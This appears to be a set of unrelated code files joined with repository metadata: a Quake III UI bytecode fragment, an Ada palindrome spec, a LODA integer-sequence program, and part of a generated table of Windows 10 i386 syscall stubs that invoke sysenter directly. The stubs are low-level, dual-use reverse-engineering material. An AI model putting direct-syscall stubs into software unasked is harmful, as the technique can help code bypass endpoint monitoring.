ASGNI4
LABELV $175
ADDRFP4 0
INDIRP4
CNSTI4 20
ADDP4
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
INDIRI4
ADDRLP4 4
INDIRI4
SUBI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 24
ADDP4
ADDRFP4 0
INDIRP4
CNSTI4 16
ADDP4
INDIRI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 28
ADDP4
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
INDIRI4
ADDRLP4 0
INDIRI4
ADDI4
ADDRFP4 0
INDIRP4
CNSTI4 68
ADDP4
INDIRI4
ADDRLP4 0
INDIRI4
MULI4
ADDI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 32
ADDP4
ADDRFP4 0
INDIRP4
CNSTI4 16
ADDP4
INDIRI4
ADDRLP4 8
INDIRI4
ADDI4
ASGNI4
LABELV $171
endproc MenuField_Init 32 4
export MenuField_Draw
proc MenuField_Draw 52 20
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRLP4 4
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
INDIRI4
ASGNI4
ADDRLP4 8
ADDRFP4 0
INDIRP4
CNSTI4 16
ADDP4
INDIRI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 44
ADDP4
INDIRU4
CNSTU4 2
BANDU4
CNSTU4 0
EQU4 $177
ADDRLP4 16
CNSTI4 8
ASGNI4
ADDRLP4 0
CNSTI4 16
ASGNI4
ADDRGP4 $178
JUMPV
LABELV $177
ADDRLP4 16
CNSTI4 16
ASGNI4
ADDRLP4 0
CNSTI4 32
ASGNI4
LABELV $178
ADDRFP4 0
INDIRP4
CNSTI4 36
ADDP4
INDIRP4
ARGP4
ADDRLP4 32
ADDRGP4 Menu_ItemAtCursor
CALLP4
ASGNP4
ADDRFP4 0
INDIRP4
CVPU4 4
ADDRLP4 32
INDIRP4
CVPU4 4
NEU4 $179
ADDRLP4 20
CNSTI4 1
ASGNI4
ADDRLP4 0
ADDRLP4 0
INDIRI4
CNSTI4 16384
BORI4
ASGNI4
ADDRGP4 $180
JUMPV
LABELV $179
ADDRLP4 20
CNSTI4 0
ASGNI4
LABELV $180
ADDRFP4 0
INDIRP4
CNSTI4 44
ADDP4
INDIRU4
CNSTU4 8192
BANDU4
CNSTU4 0
EQU4 $181
ADDRLP4 12
ADDRGP4 text_color_disabled
ASGNP4
ADDRGP4 $182
JUMPV
LABELV $181
ADDRLP4 20
INDIRI4
CNSTI4 0
EQI4 $183
ADDRLP4 12
ADDRGP4 text_color_highlight
ASGNP4
ADDRGP4 $184
JUMPV
LABELV $183
ADDRLP4 12
ADDRGP4 text_color_normal
ASGNP4
LABELV $184
LABELV $182
ADDRLP4 20
INDIRI4
CNSTI4 0
EQI4 $185
ADDRLP4 40
ADDRFP4 0
INDIRP4
CNSTI4 20
ADDP4
INDIRI4
ASGNI4
ADDRLP4 40
INDIRI4
CVIF4 4
ARGF4
ADDRLP4 44
ADDRFP4 0
INDIRP4
CNSTI4 24
ADDP4
INDIRI4
ASGNI4
ADDRLP4 44
INDIRI4
CVIF4 4
ARGF4
ADDRLP4 48
CNSTI4 1
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 28
ADDP4
INDIRI4
ADDRLP4 40
INDIRI4
SUBI4
ADDRLP4 48
INDIRI4
ADDI4
CVIF4 4
ARGF4
ADDRFP4 0
INDIRP4
CNSTI4 32
ADDP4
INDIRI4
ADDRLP4 44
INDIRI4
SUBI4
ADDRLP4 48
INDIRI4
ADDI4
CVIF4 4
ARGF4
ADDRGP4 listbar_color
ARGP4
ADDRGP4 UI_FillRect
CALLV
pop
ADDRLP4 4
INDIRI4
ARGI4
ADDRLP4 8
INDIRI4
ARGI4
CNSTI4 13
ARGI4
ADDRLP4 0
INDIRI4
CNSTI4 4097
BORI4
ARGI4
ADDRLP4 12
INDIRP4
ARGP4
ADDRGP4 UI_DrawChar
CALLV
pop
LABELV $185
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
INDIRP4
CVPU4 4
CNSTU4 0
EQU4 $187
ADDRLP4 4
INDIRI4
ADDRLP4 16
INDIRI4
SUBI4
ARGI4
ADDRLP4 8
INDIRI4
ARGI4
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
INDIRP4
ARGP4
ADDRLP4 0
INDIRI4
CNSTI4 2
BORI4
ARGI4
ADDRLP4 12
INDIRP4
ARGP4
ADDRGP4 UI_DrawString
CALLV
pop
LABELV $187
ADDRFP4 0
INDIRP4
CNSTI4 60
ADDP4
ARGP4
ADDRLP4 4
INDIRI4
ADDRLP4 16
INDIRI4
ADDI4
ARGI4
ADDRLP4 8
INDIRI4
ARGI4
ADDRLP4 0
INDIRI4
ARGI4
ADDRLP4 12
INDIRP4
ARGP4
ADDRGP4 MField_Draw
CALLV
pop
LABELV $176
endproc MenuField_Draw 52 20
export MenuField_Key
proc MenuField_Key 44 8
ADDRLP4 0
ADDRFP4 4
INDIRP4
INDIRI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 132
EQI4 $191
ADDRLP4 8
CNSTI4 133
ASGNI4
ADDRLP4 0
INDIRI4
ADDRLP4 8
INDIRI4
EQI4 $191
ADDRLP4 0
INDIRI4
ADDRLP4 8
INDIRI4
GTI4 $203
LABELV $202
ADDRLP4 16
CNSTI4 9
ASGNI4
ADDRLP4 0
INDIRI4
ADDRLP4 16
INDIRI4
EQI4 $191
ADDRLP4 0
INDIRI4
ADDRLP4 16
INDIRI4
LTI4 $190
LABELV $204
ADDRLP4 0
INDIRI4
CNSTI4 13
EQI4 $192
ADDRGP4 $190
JUMPV
LABELV $203
ADDRLP4 0
INDIRI4
CNSTI4 167
EQI4 $191
ADDRLP4 24
CNSTI4 169
ASGNI4
ADDRLP4 0
INDIRI4
ADDRLP4 24
INDIRI4
EQI4 $192
ADDRLP4 0
INDIRI4
ADDRLP4 24
INDIRI4
GTI4 $206
LABELV $205
ADDRLP4 0
INDIRI4
CNSTI4 161
EQI4 $191
ADDRGP4 $190
JUMPV
LABELV $206
ADDRLP4 0
INDIRI4
CNSTI4 185
LTI4 $190
ADDRLP4 0
INDIRI4
CNSTI4 188
GTI4 $190
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 $207-740
ADDP4
INDIRP4
JUMPV
lit
align 4
LABELV $207
address $192
address $192
address $192
address $192
code
LABELV $192
ADDRFP4 4
INDIRP4
CNSTI4 9
ASGNI4
ADDRGP4 $191
JUMPV
LABELV $190
ADDRLP4 0
INDIRI4
CNSTI4 1024
BANDI4
CNSTI4 0
EQI4 $194
ADDRLP4 0
ADDRLP4 0
INDIRI4
CNSTI4 -1025
BANDI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 44
ADDP4
INDIRU4
CNSTU4 524288
BANDU4
CNSTU4 0
EQU4 $196
ADDRLP4 0
INDIRI4
ARGI4
ADDRLP4 32
ADDRGP4 Q_islower
CALLI4
ASGNI4
ADDRLP4 32
INDIRI4
CNSTI4 0
EQI4 $196
ADDRLP4 0
ADDRLP4 0
INDIRI4
CNSTI4 32
SUBI4
ASGNI4
ADDRGP4 $197
JUMPV
LABELV $196
ADDRFP4 0
INDIRP4
CNSTI4 44
ADDP4
INDIRU4
CNSTU4 262144
BANDU4
CNSTU4 0
EQU4 $198
ADDRLP4 0
INDIRI4
ARGI4
ADDRLP4 36
ADDRGP4 Q_isupper
CALLI4
ASGNI4
ADDRLP4 36
INDIRI4
CNSTI4 0
EQI4 $198
ADDRLP4 0
ADDRLP4 0
INDIRI4
CNSTI4 -32
SUBI4
ASGNI4
ADDRGP4 $199
JUMPV
LABELV $198
ADDRFP4 0
INDIRP4
CNSTI4 44
ADDP4
INDIRU4
CNSTU4 32
BANDU4
CNSTU4 0
EQU4 $200
ADDRLP4 0
INDIRI4
ARGI4
ADDRLP4 40
ADDRGP4 Q_isalpha
CALLI4
ASGNI4
ADDRLP4 40
INDIRI4
CNSTI4 0
EQI4 $200
ADDRGP4 menu_buzz_sound
INDIRI4
RETI4
ADDRGP4 $189
JUMPV
LABELV $200
LABELV $199
LABELV $197
ADDRFP4 0
INDIRP4
CNSTI4 60
ADDP4
ARGP4
ADDRLP4 0
INDIRI4
ARGI4
ADDRGP4 MField_CharEvent
CALLV
pop
ADDRGP4 $191
JUMPV
LABELV $194
ADDRFP4 0
INDIRP4
CNSTI4 60
ADDP4
ARGP4
ADDRLP4 0
INDIRI4
ARGI4
ADDRGP4 MField_KeyDownEvent
CALLV
pop
LABELV $191
CNSTI4 0
RETI4
LABELV $189
endproc MenuField_Key 44 8
import UI_RankStatusMenu
import RankStatus_Cache
import UI_SignupMenu
import Signup_Cache
import UI_LoginMenu
import Login_Cache
import UI_RankingsMenu
import Rankings_Cache
import Rankings_DrawPassword
import Rankings_DrawName
import Rankings_DrawText
import UI_InitGameinfo
import UI_SPUnlockMedals_f
import UI_SPUnlock_f
import UI_GetAwardLevel
import UI_LogAwardData
import UI_NewGame
import UI_GetCurrentGame
import UI_CanShowTierVideo
import UI_ShowTierVideo
import UI_TierCompleted
import UI_SetBestScore
import UI_GetBestScore
import UI_GetNumBots
import UI_GetBotInfoByName
import UI_GetBotInfoByNumber
import UI_GetNumSPTiers
import UI_GetNumSPArenas
import UI_GetNumArenas
import UI_GetSpecialArenaInfo
import UI_GetArenaInfoByMap
import UI_GetArenaInfoByNumber
import UI_NetworkOptionsMenu
import UI_NetworkOptionsMenu_Cache
import UI_SoundOptionsMenu
import UI_SoundOptionsMenu_Cache
import UI_DisplayOptionsMenu
import UI_DisplayOptionsMenu_Cache
import UI_SaveConfigMenu
import UI_SaveConfigMenu_Cache
import UI_LoadConfigMenu
import UI_LoadConfig_Cache
import UI_TeamOrdersMenu_Cache
import UI_TeamOrdersMenu_f
import UI_TeamOrdersMenu
import UI_RemoveBotsMenu
import UI_RemoveBots_Cache
import UI_AddBotsMenu
import UI_AddBots_Cache
import trap_SetPbClStatus
import trap_VerifyCDKey
import trap_SetCDKey
import trap_GetCDKey
import trap_MemoryRemaining
import trap_LAN_GetPingInfo
import trap_LAN_GetPing
import trap_LAN_ClearPing
import trap_LAN_ServerStatus
import trap_LAN_GetPingQueueCount
import trap_LAN_GetServerInfo
import trap_LAN_GetServerAddressString
import trap_LAN_GetServerCount
import trap_GetConfigString
import trap_GetGlconfig
import trap_GetClientState
import trap_GetClipboardData
import trap_Key_SetCatcher
import trap_Key_GetCatcher
import trap_Key_ClearStates
import trap_Key_SetOverstrikeMode
import trap_Key_GetOverstrikeMode
import trap_Key_IsDown
import trap_Key_SetBinding
import trap_Key_GetBindingBuf
import trap_Key_KeynumToStringBuf
import trap_S_RegisterSound
import trap_S_StartLocalSound
import trap_CM_LerpTag
import trap_UpdateScreen
import trap_R_DrawStretchPic
import trap_R_SetColor
import trap_R_RenderScene
import trap_R_AddLightToScene
import trap_R_AddPolyToScene
import trap_R_AddRefEntityToScene
import trap_R_ClearScene
import trap_R_RegisterShaderNoMip
import trap_R_RegisterSkin
import trap_R_RegisterModel
import trap_FS_Seek
import trap_FS_GetFileList
import trap_FS_FCloseFile
import trap_FS_Write
import trap_FS_Read
import trap_FS_FOpenFile
import trap_Cmd_ExecuteText
import trap_Argv
import trap_Argc
import trap_Cvar_InfoStringBuffer
import trap_Cvar_Create
import trap_Cvar_Reset
import trap_Cvar_SetValue
import trap_Cvar_VariableStringBuffer
import trap_Cvar_VariableValue
import trap_Cvar_Set
import trap_Cvar_Update
import trap_Cvar_Register
import trap_Milliseconds
import trap_Error
import trap_Print
import UI_SPSkillMenu_Cache
import UI_SPSkillMenu
import UI_SPPostgameMenu_f
import UI_SPPostgameMenu_Cache
import UI_SPArena_Start
import UI_SPLevelMenu_ReInit
import UI_SPLevelMenu_f
import UI_SPLevelMenu
import UI_SPLevelMenu_Cache
import uis
import m_entersound
import UI_StartDemoLoop
import UI_Cvar_VariableString
import UI_Argv
import UI_ForceMenuOff
import UI_PopMenu
import UI_PushMenu
import UI_SetActiveMenu
import UI_IsFullscreen
import UI_DrawTextBox
import UI_AdjustFrom640
import UI_CursorInRect
import UI_DrawChar
import UI_DrawString
import UI_ProportionalStringWidth
import UI_DrawProportionalString_AutoWrapped
import UI_DrawProportionalString
import UI_ProportionalSizeScale
import UI_DrawBannerString
import UI_LerpColor
import UI_SetColor
import UI_UpdateScreen
import UI_DrawRect
import UI_FillRect
import UI_DrawHandlePic
import UI_DrawNamedPic
import UI_ClampCvar
import UI_ConsoleCommand
import UI_Refresh
import UI_MouseEvent
import UI_KeyEvent
import UI_Shutdown
import UI_Init
import UI_RegisterClientModelname
import UI_PlayerInfo_SetInfo
import UI_PlayerInfo_SetModel
import UI_DrawPlayer
import DriverInfo_Cache
import GraphicsOptions_Cache
import UI_GraphicsOptionsMenu
import ServerInfo_Cache
import UI_ServerInfoMenu
import UI_BotSelectMenu_Cache
import UI_BotSelectMenu
import ServerOptions_Cache
import StartServer_Cache
import UI_StartServerMenu
import ArenaServers_Cache
import UI_ArenaServersMenu
import SpecifyServer_Cache
import UI_SpecifyServerMenu
import SpecifyLeague_Cache
import UI_SpecifyLeagueMenu
import Preferences_Cache
import UI_PreferencesMenu
import PlayerSettings_Cache
import UI_PlayerSettingsMenu
import PlayerModel_Cache
import UI_PlayerModelMenu
import UI_CDKeyMenu_f
import UI_CDKeyMenu_Cache
import UI_CDKeyMenu
import UI_ModsMenu_Cache
import UI_ModsMenu
import UI_CinematicsMenu_Cache
import UI_CinematicsMenu_f
import UI_CinematicsMenu
import Demos_Cache
import UI_DemosMenu
import Controls_Cache
import UI_ControlsMenu
import UI_DrawConnectScreen
import TeamMain_Cache
import UI_TeamMainMenu
import UI_SetupMenu
import UI_SetupMenu_Cache
import UI_Message
import UI_ConfirmMenu_Style
import UI_ConfirmMenu
import ConfirmMenu_Cache
import UI_InGameMenu
import InGame_Cache
import UI_CreditMenu
import UI_UpdateCvars
import UI_RegisterCvars
import UI_MainMenu
import MainMenu_Cache
import ui_medalSounds
import ui_medalPicNames
import ui_medalNames
import text_color_highlight
import text_color_normal
import text_color_disabled
import listbar_color
import list_color
import name_color
import color_dim
import color_red
import color_orange
import color_blue
import color_yellow
import color_white
import color_black
import menu_dim_color
import menu_black_color
import menu_red_color
import menu_highlight_color
import menu_dark_color
import menu_grayed_color
import menu_text_color
import weaponChangeSound
import menu_null_sound
import menu_buzz_sound
import menu_out_sound
import menu_move_sound
import menu_in_sound
import ScrollList_Key
import ScrollList_Draw
import Bitmap_Draw
import Bitmap_Init
import Menu_DefaultKey
import Menu_SetCursorToItem
import Menu_SetCursor
import Menu_ActivateItem
import Menu_ItemAtCursor
import Menu_Draw
import Menu_AdjustCursor
import Menu_AddItem
import Menu_Focus
import Menu_Cache
import ui_ioq3
import ui_cdkeychecked
import ui_cdkey
import ui_server16
import ui_server15
import ui_server14
import ui_server13
import ui_server12
import ui_server11
import ui_server10
import ui_server9
import ui_server8
import ui_server7
import ui_server6
import ui_server5
import ui_server4
import ui_server3
import ui_server2
import ui_server1
import ui_marks
import ui_drawCrosshairNames
import ui_drawCrosshair
import ui_brassTime
import ui_browserShowEmpty
import ui_browserShowFull
import ui_browserSortKey
import ui_browserGameType
import ui_browserMaster
import ui_spSelection
import ui_spSkill
import ui_spVideos
import ui_spAwards
import ui_spScores5
import ui_spScores4
import ui_spScores3
import ui_spScores2
import ui_spScores1
import ui_botsFile
import ui_arenasFile
import ui_ctf_friendly
import ui_ctf_timelimit
import ui_ctf_capturelimit
import ui_team_friendly
import ui_team_timelimit
import ui_team_fraglimit
import ui_tourney_timelimit
import ui_tourney_fraglimit
import ui_ffa_timelimit
import ui_ffa_fraglimit
import BG_PlayerTouchesItem
import BG_PlayerStateToEntityStateExtraPolate
import BG_PlayerStateToEntityState
import BG_TouchJumpPad
import BG_AddPredictableEventToPlayerstate
import BG_EvaluateTrajectoryDelta
import BG_EvaluateTrajectory
import BG_CanItemBeGrabbed
import BG_FindItemForHoldable
import BG_FindItemForPowerup
import BG_FindItemForWeapon
import BG_FindItem
import bg_numItems
import bg_itemlist
import Pmove
import PM_UpdateViewAngles
import Com_Printf
import Com_Error
import Info_NextPair
import Info_Validate
import Info_SetValueForKey_Big
import Info_SetValueForKey
import Info_RemoveKey_Big
import Info_RemoveKey
import Info_ValueForKey
import Com_TruncateLongString
import va
import Q_CountChar
import Q_CleanStr
import Q_PrintStrlen
import Q_strcat
import Q_strncpyz
import Q_stristr
import Q_strupr
import Q_strlwr
import Q_stricmpn
import Q_strncmp
import Q_stricmp
import Q_isintegral
import Q_isanumber
import Q_isalpha
import Q_isupper
import Q_islower
import Q_isprint
import Com_RandomBytes
import Com_SkipCharset
import Com_SkipTokens
import Com_sprintf
import Com_HexStrToInt
import Parse3DMatrix
import Parse2DMatrix
import Parse1DMatrix
import SkipRestOfLine
import SkipBracedSection
import COM_MatchToken
import COM_ParseWarning
import COM_ParseError
import COM_Compress
import COM_ParseExt
import COM_Parse
import COM_GetCurrentParseLine
import COM_BeginParseSession
import COM_DefaultExtension
import COM_CompareExtension
import COM_StripExtension
import COM_GetExtension
import COM_SkipPath
import Com_Clamp
import PerpendicularVector
import AngleVectors
import MatrixMultiply
import MakeNormalVectors
import RotateAroundDirection
import RotatePointAroundVector
import ProjectPointOnPlane
import PlaneFromPoints
import AngleDelta
import AngleNormalize180
import AngleNormalize360
import AnglesSubtract
import AngleSubtract
import LerpAngle
import AngleMod
import BoundsIntersectPoint
import BoundsIntersectSphere
import BoundsIntersect
import BoxOnPlaneSide
import SetPlaneSignbits
import AxisCopy
import AxisClear
import AnglesToAxis
import vectoangles
import Q_crandom
import Q_random
import Q_rand
import Q_acos
import Q_log2
import VectorRotate
import Vector4Scale
import VectorNormalize2
import VectorNormalize
import CrossProduct
import VectorInverse
import VectorNormalizeFast
import DistanceSquared
import Distance
import VectorLengthSquared
import VectorLength
import VectorCompare
import AddPointToBounds
import ClearBounds
import RadiusFromBounds
import NormalizeColor
import ColorBytes4
import ColorBytes3
import _VectorMA
import _VectorScale
import _VectorCopy
import _VectorAdd
import _VectorSubtract
import _DotProduct
import ByteToDir
import DirToByte
import ClampShort
import ClampChar
import Q_rsqrt
import Q_fabs
import Q_isnan
import axisDefault
import vec3_origin
import g_color_table
import colorDkGrey
import colorMdGrey
import colorLtGrey
import colorWhite
import colorCyan
import colorMagenta
import colorYellow
import colorBlue
import colorGreen
import colorRed
import colorBlack
import bytedirs
import Hunk_AllocDebug
import FloatSwap
import LongSwap
import ShortSwap
import CopyLongSwap
import CopyShortSwap
import qk_acos
import qk_fabs
import qk_abs
import qk_tan
import qk_atan2
import qk_cos
import qk_sin
import qk_sqrt
import qk_floor
import qk_ceil
import qk_memcpy
import qk_memset
import qk_memmove
import qk_sscanf
import qk_vsnprintf
import qk_strtol
import qk_atoi
import qk_strtod
import qk_atof
import qk_toupper
import qk_tolower
import qk_strncpy
import qk_strstr
import qk_strrchr
import qk_strchr
import qk_strcmp
import qk_strcpy
import qk_strcat
import qk_strlen
import qk_rand
import qk_srand
import qk_qsort
lit
align 1
LABELV $79
byte 1 100
byte 1 114
byte 1 97
byte 1 119
byte 1 76
byte 1 101
byte 1 110
byte 1 32
byte 1 62
byte 1 61
byte 1 32
byte 1 77
byte 1 65
byte 1 88
byte 1 95
byte 1 83
byte 1 84
byte 1 82
byte 1 73
byte 1 78
byte 1 71
byte 1 95
byte 1 67
byte 1 72
byte 1 65
byte 1 82
byte 1 83
byte 1 0
|
ada/is_palindrome.ads | procrastiraptor/euler | 1 | 14549 | <filename>ada/is_palindrome.ads
generic
type Element is private;
type Index is (<>);
type Seq is array (Index range <>) of Element;
function Is_Palindrome(S: Seq) return Boolean;
|
programs/oeis/174/A174804.asm | neoneye/loda | 22 | 95016 | <reponame>neoneye/loda
; A174804: a(n) = n*ceiling(sqrt(n))*floor(sqrt(n)).
; 0,1,4,6,16,30,36,42,48,81,120,132,144,156,168,180,256,340,360,380,400,420,440,460,480,625,780,810,840,870,900,930,960,990,1020,1050,1296,1554,1596,1638,1680,1722,1764,1806,1848,1890,1932,1974,2016,2401,2800
mov $1,$0
seq $1,38759 ; a(n) = ceiling(sqrt(n))*floor(sqrt(n)).
mul $0,$1
|
project/ntstub/i386/10_0_15063_sp0_ssdt_sysenter.asm | rmusser01/windows-syscall-table | 6 | 94464 | ; DO NOT MODIFY THIS FILE DIRECTLY!
; author: @TinySecEx
; ssdt asm stub for 10.0.15063-sp0-windows-10-rs2-1703 i386
.686
.mmx
.xmm
.model flat,stdcall
option casemap:none
option prologue:none
option epilogue:none
.code
; ULONG __stdcall NtAccessCheck( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAccessCheck PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 0
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAccessCheck ENDP
; ULONG __stdcall NtWorkerFactoryWorkerReady( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtWorkerFactoryWorkerReady PROC STDCALL arg_01:DWORD
mov eax , 1
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtWorkerFactoryWorkerReady ENDP
; ULONG __stdcall NtAcceptConnectPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAcceptConnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 2
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAcceptConnectPort ENDP
; ULONG __stdcall NtYieldExecution( );
_10_0_15063_sp0_windows_10_rs2_1703_NtYieldExecution PROC STDCALL
mov eax , 3
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtYieldExecution ENDP
; ULONG __stdcall NtWriteVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtWriteVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtWriteVirtualMemory ENDP
; ULONG __stdcall NtWriteRequestData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtWriteRequestData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 5
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtWriteRequestData ENDP
; ULONG __stdcall NtWriteFileGather( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_10_0_15063_sp0_windows_10_rs2_1703_NtWriteFileGather PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 6
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtWriteFileGather ENDP
; ULONG __stdcall NtWriteFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_10_0_15063_sp0_windows_10_rs2_1703_NtWriteFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 7
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtWriteFile ENDP
; ULONG __stdcall NtWaitLowEventPair( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitLowEventPair PROC STDCALL arg_01:DWORD
mov eax , 8
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitLowEventPair ENDP
; ULONG __stdcall NtWaitHighEventPair( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitHighEventPair PROC STDCALL arg_01:DWORD
mov eax , 9
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitHighEventPair ENDP
; ULONG __stdcall NtWaitForWorkViaWorkerFactory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitForWorkViaWorkerFactory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 10
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitForWorkViaWorkerFactory ENDP
; ULONG __stdcall NtWaitForSingleObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitForSingleObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 11
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitForSingleObject ENDP
; ULONG __stdcall NtWaitForMultipleObjects32( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitForMultipleObjects32 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 12
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitForMultipleObjects32 ENDP
; ULONG __stdcall NtWaitForMultipleObjects( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitForMultipleObjects PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 13
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitForMultipleObjects ENDP
; ULONG __stdcall NtWaitForKeyedEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitForKeyedEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 14
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitForKeyedEvent ENDP
; ULONG __stdcall NtWaitForDebugEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitForDebugEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 15
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitForDebugEvent ENDP
; ULONG __stdcall NtWaitForAlertByThreadId( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitForAlertByThreadId PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 16
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtWaitForAlertByThreadId ENDP
; ULONG __stdcall NtVdmControl( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtVdmControl PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 17
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtVdmControl ENDP
; ULONG __stdcall NtUnsubscribeWnfStateChange( ULONG arg_01 );
